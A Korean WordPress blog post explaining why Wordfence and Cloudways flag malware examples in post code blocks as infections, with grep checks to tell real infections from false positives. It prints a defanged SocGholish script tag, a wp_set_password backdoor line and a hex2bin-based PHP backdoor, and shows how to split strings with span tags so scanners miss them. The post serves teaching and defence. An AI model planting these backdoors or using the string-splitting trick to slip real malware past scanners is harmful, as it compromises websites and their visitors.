Wordfence·클라우드웨이즈가 코드 블록을 악성코드로 탐지할 때 대처법

이 블로그에는 워드프레스 멀웨어 관련 내용을 소개하면서 블록 에디터의 코드 블록으로 악성 스크립트를 공유하곤 합니다. 하지만 Wordfence 보안 플러그인과 클라우드웨이즈의 Malware Protection 기능에서 예시로 소개하기 위해 코드 블록에 추가한 악성 스크립트나 PHP 백도어 코드를 멀웨어로 잘못 인식하여 지속적으로 경고를 표시하고 있습니다.

이 글에서는 이러한 오탐(False Positive)이 왜 발생하는지, 그리고 어떻게 회피할 수 있는지 2가지 유형별로 정리합니다.

Wordfence·클라우드웨이즈가 코드 블록을 악성코드로 탐지할 때 대처법

오탐(False Positive)이란?

멀웨어 스캐너가 실제로는 무해한 파일이나 코드를 악성코드로 잘못 판단하는 것을 오탐(False Positive)이라고 합니다.

Wordfence 보안 플러그인과 클라우드웨이즈의 Malware Protection은 시그니처 기반 탐지(Signature-based Detection) 방식을 사용합니다. 미리 등록된 악성코드 패턴(문자열)과 스캔 대상 파일의 내용을 비교하여 일치하면 악성코드로 판단하는 방식입니다.

문제는 이 방식이 문자열 자체만 비교하기 때문에, 보안 튜토리얼처럼 악성코드 예시를 설명 목적으로 게시한 경우에도 동일하게 탐지된다는 점입니다.

특히 Breeze, W3 Total Cache, WP Super Cache, LiteSpeed Cache 등의 캐싱 플러그인이 페이지를 HTML 파일로 저장하면, 해당 캐시 파일에도 동일한 문자열이 남게 되어 보안 스캐너가 캐싱 파일을 악성코드 감염 파일로 판단하게 됩니다.

Wordfence·클라우드웨이즈가 코드 블록을 악성코드로 탐지할 때 대처법

클라우드웨이즈는 Malware Protection 애드온을 도입하여 정기적으로 사이트를 스캔해서 멀웨어가 감지되면 이메일로 경고를 보냅니다.

클라우드웨이즈의 Malware Detectioin 기능

아래 메일이 가장 최근에 받았던 멀웨어 감지 경고 메일입니다.😄

클라우드웨이즈 멀웨어 경고

악성코드가 탐지되면 "Alert: Security issues detected on your application..." 제목으로 이메일이 발송됩니다.

클라우드웨이즈의 애플리케이션 관리 페이지로 이동하여 Application Security » Malware Protection에서 멀웨어 감염 여부를 확인할 수 있습니다.

클라우드웨이즈 Malware Protection

View Details를 클릭하여 감염 의심 경로를 확인할 수 있습니다.

클라우드웨이즈 멀웨어 감염 경로 확인

위의 그림에서는 3개의 파일과 1개의 데이터베이스 항목에 악성코드가 주입된 것으로 표시되고 있습니다.

하지만 모두 예시를 위해 코드 블록에 추가된 악성 스크립트와 PHP 백도어 코드와 관련된 것으로 실제 감염은 아니었습니다.

워드프레스 코드 블록에 추가한 악성 스크립트와 PHP 코드 예시를 멀웨어로 잘못 감지하는 문제에 대해 클라우드웨이즈에 보고까지 했지만 문제가 수정되지는 않았습니다. 악성코드를 그대로 코드 블록으로 공유할 때에는 주의가 필요한 것 같습니다.

참고로 클라우드웨이즈의 Malware Protection의 탐지 기능은 무료로 제공되고 4개 항목까지 악성코드 감염 의심 위치를 확인할 수 있습니다. 더 많은 항목을 확인하고 싶거나 멀웨어 제거를 맡기고 싶은 경우 유료로 전환할 수 있습니다. 하지만 감지되는 파일이나 DB 항목에서 악성코드를 제거하는 것에 그치기 때문에 근본적인 해결이 안 될 가능성도 있습니다. 즉, 증상만 보고 악성코드를 제거하는 것이라 생각됩니다. 그러므로 재발될 가능성이 높습니다. 재발되면 또 악성코드를 삭제하면 일시적으로 사이트가 정상화되겠지만, 근본적으로 해결하려면 원인을 파악해서 대처해야 합니다.

👉 멀웨어 감염을 비롯한 워드프레스 또는 웹호스팅 문제 해결에 어려움을 겪는 경우 여기에서 서비스(유료)를 의뢰하실 수 있습니다.

워드프레스 보안 플러그인 Wordfence의 보안 경고

워드프레스 보안 플러그인인 Wordfence를 설치하고 활성화하면 정기적으로 사이트를 스캔하여 심각한 문제가 감지되면 경고 메일을 전송합니다. 스캔 주기를 설정하는 옵션이 있는지 모르겠습니다만, 아무런 설정을 하지 않으면 1주일마다 스캔하는 것 같습니다.

워드펜스는 비교적 최근에 설치했는데, 두 차례 멀웨어 관련 경고 메일을 받았습니다.

이 메일은 DB에 async[.]gsyndication[.]com 관련 악성코드가 주입되었다는 내용의 경고입니다.

워드펜스 보안 경고 메일

아래는 어제 받은 메일로 Breeze 플러그인에서 캐싱한 HTML 파일에 악의적인 코드가 삽입되었다는 내용입니다.

Wordfence 보안 경고 이메일

두 케이스 모두 코드 블록에 추가된 예시 스크립트와 PHP 백도어 코드를 악성코드로 잘못 인식하여 경고 메일을 보내왔습니다.

이런 메일을 받으면 실제 감염이 되었는지 체크하는 것이 중요합니다. 실제 감염이 확인하면 멀웨어를 완전히 제거하고 보안 조치를 해주어야 합니다.

오탐이 발생하는 2가지 유형

유형 1 – 악성 자바스크립트 도메인 주소를 코드 블록에 추가한 경우

워드프레스 사이트를 해킹한 공격자는 방문자 브라우저를 악성 사이트로 유도하거나 악성 스크립트를 실행시키기 위해 다음과 같은 코드를 페이지에 삽입할 수 있습니다.

async[.]gsyndication[.]com은 SocGholish 악성코드 캠페인에서 실제로 사용된 도메인으로, Wordfence와 클라우드웨이즈 모두 이 도메인 문자열을 악성코드 시그니처로 등록해두고 있습니다.

따라서 블로그에서 이 스크립트를 예시로 소개하기 위해 코드 블록에 그대로 추가하면, 보안 스캐너가 해당 포스트와 캐시 파일을 감염된 파일로 탐지합니다.

Wordfence 탐지 메시지 예시:

파일에서 일치하는 텍스트: async[.]gsyndication[.]com
문제 유형: Malware signature

해결 방법 – 도메인 주소의 점(.)을 [.]으로 표기

보안 업계에서는 악성 도메인이나 IP 주소를 문서에 표기할 때 Defanging(디팽잉)이라는 관행을 사용합니다. 점(.)을 [.]으로 바꿔 실제 URL로 동작하지 않도록 무력화하는 표기 방식입니다. MITRE ATT&CK, 각종 보안 인텔리전스 보고서에서도 표준처럼 사용하는 방법입니다.

코드 블록에 다음과 같이 표기합니다.

<script src="https://async[.]gsyndication[.]com/"></script>

이렇게 수정하면 보안 스캐너의 시그니처와 완전히 일치하지 않아 탐지를 피할 수 있으며, 독자 입장에서도 이 도메인이 실제 악성 주소임을 명확하게 인식할 수 있습니다.

이 방법은 앞서 다음 글에서 소개한 적이 있습니다.

유형 2 – PHP 악성코드 예시를 코드 블록에 추가한 경우

워드프레스 블로그에서 실제 공격에 사용된 PHP 백도어 코드를 예시로 소개하고 싶은 경우가 있습니다. 대표적인 두 가지 패턴이 오탐을 유발합니다.

패턴 A – 워드프레스 관리자 비밀번호 재설정 wp_set_password 함수

워드프레스 관리자 비밀번호를 강제로 재설정하는 방법을 소개할 때 흔히 사용하는 코드입니다.

Wordfence는 이 함수명을 하드코딩된 비밀번호 재설정 백도어 시그니처로 등록하고 있습니다.

워드펜스 멀웨어 스캔 결과
문제 유형: Backdoor:PHP/wpinfoajinsert.5689
설명: Hardcoded password reset, common part of WordPress backdoors

패턴 B – hex2bin() + file_get_contents() 조합

SocGholish 등의 악성코드가 실제로 사용하는 난독화 백도어 패턴입니다.

if ((is_admin() || (function_exists('get_hex_cache'))) !== true) {
	add_action('wp_head', 'get_hex_cache', 12);

	function get_hex_cache()
	{
		return print(@hex2bin( '3c7' . (file_get_contents(__DIR__  .'/_inc.tmp'))));
	}
}

Wordfence에서 이러한 패턴을 감지하여 악성코드로 인식합니다.

워드펜스 멀웨어 스캔 결과
문제 유형: Obfuscated:PHP/hex2bin.13185
설명: Trigger for hex obfuscated malicious code

해결 방법 – 태그로 문자열 분리 (String Splitting)

코드 블록 안의 핵심 함수명을 <span> 태그로 쪼개면 보안 스캐너의 시그니처와 완전히 일치하지 않아 탐지를 피할 수 있습니다. 브라우저는 <span> 태그를 렌더링하면서 시각적으로 완전한 문자열을 보여주기 때문에 독자가 읽는 데는 전혀 문제가 없습니다.

wp_set<span>_pass</span>word( 'password', 1 );
if ((is_admin() || (function_exists('get_hex_cache'))) !== true) {
	add_action('wp_head', 'get_hex_cache', 12);

	function get_hex_cache()
	{
		return print(@<span>hex2</span>bin( '3c7' . (<span>file_get</span>_contents(__DIR__  .'/_inc.tmp'))));
	}
}

상기와 같이 <span> 태그를 추가한 코드를 코드 블록이 아닌 사용자 정의 HTML 블록에 추가하되, <pre class="wp-block-code><code>로 감싸도록 합니다.

워드프레스 사용자 정의 HTML 블록

상기와 같이 조치한 후에 Wordfence나 클라우드웨이즈의 Malware Protection에서 악성코드로 감지하는지 체크해야 합니다.

워드프레스에서 캐시를 삭제한 후에 Wordfence 스캐너를 실행하면 곧바로 변경 사항을 반영해서 결과를 알려줍니다. 클라우드웨이즈의 경우 서너 시간이나 하루 정도 지난 후에 Malware Protection 페이지를 방문하여 확인할 수 있습니다.

저는 몇 달 동안 지속적으로 클라우드웨이즈에서 멀웨어 감염 경고를 보내와서 은근히 스트레스였는데, 위의 조치를 취한 후에 체크하니 이제는 멀웨어가 감지되지 않네요.😄

Application Security » Malware Protection을 방문했을 때 아래와 같이 "Your application is prone to malware attacks. Enable malware protection to maximize the protection of your application" 메시지가 표시되면 멀웨어가 없는 정상 상태입니다.

클라우드웨이즈 멀웨어 보호 정상

워드프레스에서 멀웨어 검사를 실행해도 이제 "새 문제가 발견되지 않았습니다"가 표시됩니다.😄

워드펜스 검사 결과 이상 없음

자주 묻는 질문 (FAQ)

Q1. 코드 블록에 작성한 예시 코드인데 왜 악성코드로 탐지되나요?

Wordfence와 클라우드웨이즈 Malware Detection은 시그니처 기반 탐지 방식을 사용합니다. 코드가 실제로 실행되는지 여부와 관계없이 등록된 악성코드 패턴 문자열과 일치하면 무조건 악성코드/멀웨어로 탐지합니다. 워드프레스 블로그 글에서 코드 블록으로 예시 목적으로 작성한 코드도 예외가 없습니다.

Q2. 캐시 파일을 삭제하면 오탐 문제가 해결되나요?

일시적으로는 해결됩니다. 그러나 캐시 플러그인이 페이지를 다시 캐싱하면 동일한 문자열이 캐시 파일에 다시 저장되어 재탐지됩니다. 근본적인 해결을 위해서는 포스트 본문의 코드를 Defanging([.] 표기)이나 <span> String Splitting 방식으로 수정한 뒤 캐시 플러그인의 캐시를 삭제하여 캐시를 재생성해야 합니다. Cloudways의 Malware Protection에서는 캐시를 삭제한 후 몇 시간(혹은 하루) 정도 지나야 반영이 됩니다.

Q3. Wordfence 스캔에서 오탐으로 확인된 항목은 무시(Ignore) 처리해도 되나요?

오탐임이 확실히 확인된 경우에 한해 무시 처리가 가능합니다. 단, 캐시 파일은 재생성될 때마다 파일 경로(해시값)가 바뀌기 때문에 무시 처리한 경로가 무효화되어 반복적으로 재탐지될 수 있습니다. 게시글에서 해당 코드를 수정하는 방법이 더 근본적인 해결책입니다.

Q4. DB에서 오탐이 발생한 경우 포스트를 수정하면 바로 해결되나요?

포스트를 수정하고 저장하면 wp_posts 테이블의 내용이 업데이트되어 DB 오탐은 해결됩니다. 다만 수정 후 반드시 캐시를 비우고 재생성해야 캐시 파일에서의 오탐도 함께 해결됩니다(Cloudways Malware Protection은 시간이 걸림). 수정 후 Wordfence 스캔을 다시 실행하여 탐지 항목이 사라졌는지 확인하는 것을 권장합니다.

Q5. 실제 악성코드 감염과 오탐을 어떻게 구분하나요?

SSH에서 다음 명령어로 PHP 소스 파일을 직접 검색하여 구분할 수 있습니다.

# 실제 PHP 파일에서 악성 패턴 검색 예시
grep -r "wp_set_password" /path/to/public_html/ --include="*.php" -l
grep -r "hex2bin" /path/to/public_html/ --include="*.php" -l
grep -r "gsyndication" /path/to/public_html/ --include="*.php" -l

캐시 파일에서만 탐지되고 PHP 소스 파일에서는 검색되지 않는다면 오탐입니다. 반대로 PHP 파일에서도 동일한 패턴이 발견된다면 실제 감염을 의심하고 즉시 해당 파일 내용을 확인해야 할 수 있습니다.

마치며

클라우드웨이즈의 경우 강력한 자체 서버 방화벽이 갖추어져 있고 Malware Protection 기능을 통해 멀웨어를 사전에 감지할 수 있어 별도의 보안 플러그인을 설치하지 않아도 안전하게 워드프레스 사이트를 운영할 수 있습니다.

저는 사이트 속도가 저하되지 않을까 우려하여 Wordfence를 설치하지 않고 있었지만 속도 제한(Rate Limiting) 설정이 필요해서 워드펜스를 설치했습니다.

워드펜스는 7일마다 사이트를 스캔해서 문제가 발생하면 이메일로 경고를 제공하므로 사이트를 더 안전하게 운영하는 데 도움이 되는 것 같습니다.

클라우드웨이즈의 Malware Protection 애드온과 Wordfence의 악성코드 스캔 기능에 의해 코드 블록으로 공유하는 악성 스크립트가 멀웨어로 잘못 탐지될 수 있습니다. 악성코드 소스를 공유할 때에는이런 문제를 회피하도록 이 글에 소개한 방법을 적용해볼 수 있습니다.

💡 클라우드웨이즈 가입 방법 (+ 60% 할인 쿠폰)

참고

1개 댓글

댓글 남기기

  1. 시그니처 기반 스캐너가 코드 블록과 캐시 파일을 오탐하는 점을 잘 설명하셨네요. 저도 워드펜스에서 예시 코드가 악성코드로 탐지되어 이 글을 참고하여 문제를 해결했습니다😀

    답글